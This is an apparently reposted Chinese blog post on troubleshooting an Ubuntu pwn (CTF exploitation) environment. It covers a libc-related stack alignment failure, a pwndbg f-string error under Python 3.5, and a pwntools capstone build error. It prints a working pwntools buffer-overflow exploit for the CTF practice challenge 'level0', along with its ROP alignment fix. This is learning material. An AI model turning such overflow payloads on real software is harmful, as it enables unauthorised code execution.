搭建Ubuntu16.04系统下Pwn环境的几个疑难问题

搭建Ubuntu16.04系统下Pwn环境的几个疑难问题,第1张

文章目录
    • 1. 使用通用exp执行不能getshell(stopped with exit code -11 (SIGSEGV))
    • 2. 安装pwndbg后启动gdb报错(raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'"))
    • 3. 安装pwntools报错(Building wheel for capstone (setup.py) ... error)

  之前搭建了一下 Ubuntu 系统下的 Pwn 环境,但是搭建过程中遇到很多问题,有些顺手可以解决。


还有一部分花费了很长时间,在此记录。



  搭建过程:
   搭建Ubuntu16.04系统下的Pwn环境及问题解决实践

1. 使用通用exp执行不能getshell(stopped with exit code -11 (SIGSEGV))

  前情提要:
  我本来是有一套 Kali 的做题环境的,执行 exp 什么的都正常,后来重新搭了一套 Ubuntu20.04 的环境。


工具什么的都可以正常安装,但是发现之前能用的 exp 都执行不了了,执行起来会报错并且不能getshell了。



  以攻防世界Pwn题目“level0”为例,EXP如下:

from pwn import *

sh = process("./291721f42a044f50a2aead748d539df0")
sh.recv()
payload=0x88*'a'+p64(0x400596)
sh.sendline(payload)
sh.interactive()

  报错如下:

[+] Starting local process './291721f42a044f50a2aead748d539df0': pid 3975
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
[*] Process './291721f42a044f50a2aead748d539df0' stopped with exit code -11 (SIGSEGV) (pid 3975)
[*] Got EOF while sending in interactive

  当时以为是 Ubuntu 版本太高,导致系统 libc 版本过高,不能正常执行,所以打算换一个版本低一些的 Ubuntu,结果试了好多版本都不能正常执行。





  然后我的思路是将系统的 libc 版本换掉,或者指定运行时加载的 libc 文件,但是貌似不太行。



  因为我之前的 Kali 系统,EXP都是可以正常执行的,看了一下 libc 版本。



然后安装glibc-all-in_one
git clone https://github.com/matrix1001/glibc-all-in-one
安装后进入目录先./update_list更新一下,然后cat list可以查看支持的libc版本,cat old_list查看老版本,然后./download {libc版本}就可以下载对应libc版本了,我这里下载的是2.28-0ubuntu1_amd64

这里尝试了以下几种方法改变运行时的libc文件,但是都没啥效果,还是运行报错了。


1. patchelf

命令行使用patchelf命令。



patchelf --set-interpreter //home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/libc-2.28.so ./291721f42a044f50a2aead748d539df0
patchelf --replace-needed libc.so.6 /home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/ld-2.28.so ./291721f42a044f50a2aead748d539df0
patchelf --set-rpath /home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/ ./291721f42a044f50a2aead748d539df0

但是我改完以后使用ldd查看报错了,运行也不行。


2. process的env参数

在Python脚本中
sh = process(["./291721f42a044f50a2aead748d539df0"], env={"LD_PRELOAD":"./libc-2.28.so"})指定libc。


经过尝试也不太行。


3. pwn_debug

安装:
git clone https://github.com/ray-cp/pwn_debug.git
cd pwn_debug
sudo python setup.py install

可以在Python脚本中指定加载的libc。


debug模式和local模式二选一即可,debug模式的参数可以指定libc版本,local模式参数直接写libc地址即可。


但我没有成功。






from pwn_debug import *

pdbg=pwn_debug("binary")

# debug模式
pdbg.debug("2.23")
p=pdbg.run("debug")

# local模式
gdbp.local("./libc.so.6","ld.so")
p=pdbg.run("local")

p.interactive()

最后经过分析,造成无法getshell的原因是因为libc版本不同,导致进入system函数后的栈结构遭到改变,不能满足system函数对于栈平衡的条件,从而导致了触发段错误。


我们在进入system函数之前下断点,可以看到汇编指令如下:

在我之前可以正常打EXP的Kali机器上:

可以看到 do_system 函数直接对 ebp 寄存器进行入栈。


而在我新搭建的 Ubuntu 环境上:


可以看到 do_system 函数的前几句是:

push r13
mov ecx, 0x10
push r12

然后才开始将 rbp 入栈。


这也是导致栈不平衡的原因。


因此对于此问题的简单解决方法如下:

ROPgadget --binary ./291721f42a044f50a2aead748d539df0 --only 'pop|ret'


最终的EXP修改如下:

from pwn import *

sh = process("./291721f42a044f50a2aead748d539df0")
sh.recv()
payload=0x88*'a'+p64(0x40065c)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x400596)
sh.sendline(payload)
sh.interactive()

运行成功:

2. 安装pwndbg后启动gdb报错(raise argparse.ArgumentError(banner_arg, f"banner can not be ‘{banner}’"))

具体报错内容如下:

Traceback (most recent call last):
  File "/home/pwn/Downloads/pwndbg/gdbinit.py", line 24, in <module>
    import pwndbg # isort:skip
  File "/home/pwn/Downloads/pwndbg/pwndbg/__init__.py", line 21, in <module>
    import pwndbg.commands.context
  File "/home/pwn/Downloads/pwndbg/pwndbg/commands/context.py", line 141
    raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")
                                                                           ^
SyntaxError: invalid syntax

这个问题也纠结了好长时间。


网上有的文章说是要安装32位运行库,我试了不行。



怀疑是gdb的版本,重装了gdb也不行。


最蛋疼的是我的这个报错在网上根本搜不到。




我看很多文章写的 pwndbg 要求的是 Python3.5,所以一直也都没有怀疑Python的版本。



注:我的pwntools环境用的是Python2,但是安装pwndbg是要求Python3环境的。


后来实在没办法,跟着报错去查源码。



发现报错的源码是在contextoutput函数内,一个抛出异常的语句,并且用了格式化字符串。


def contextoutput(section, path, clearing, banner="both", width=None):
    if banner not in ('both', 'top', 'bottom', 'none'):
        # raise banner
        raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")

根据报错内容,我在物理机写了同样的一段逻辑然后运行,发现正常啊。



然后查看对比了 Python 版本,正常运行的是3.7.2,虚拟机上是3.5.2,然后翻了 Python 的官方文档,发现 Python 是在3.6之后才支持的f-string语法。


我懒得再升级 Python 版本了,系统的自带的这个 Python 最好不要轻易卸载,不然很麻烦。


因为我报错的这个语句只是一个异常处理的分支,正常情况来说是不会走到这里的,所以理论上来说直接注释掉就可以。


运行报错是因为当前版本的编译器不认识这种语法,所以大概修改一下,保存重新运行就行了。



def contextoutput(section, path, clearing, banner="both", width=None):
    if banner not in ('both', 'top', 'bottom', 'none'):
        raise argparse.ArgumentError(banner_arg, "banner can not be '" + banner + "'")
        # raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")

保存然后重新运行 gdb,成功启动pwndbg。


3. 安装pwntools报错(Building wheel for capstone (setup.py) … error)

我在使用部分 Ubuntu 版本,在安装pwntools时出现,忘了截图了,可以看下报错,有的是因为没有安装make命令。


sudo apt-get install make

安装一下就行了。


有的是因为没有安装Capstone反汇编框架。


git clone https://github.com/aquynh/capstone
cd capstone
make
make install

经尝试也可以使用

pip install python-capstone

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/577909.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-11
下一篇 2022-04-11

发表评论

登录后才能评论

评论列表(0条)

保存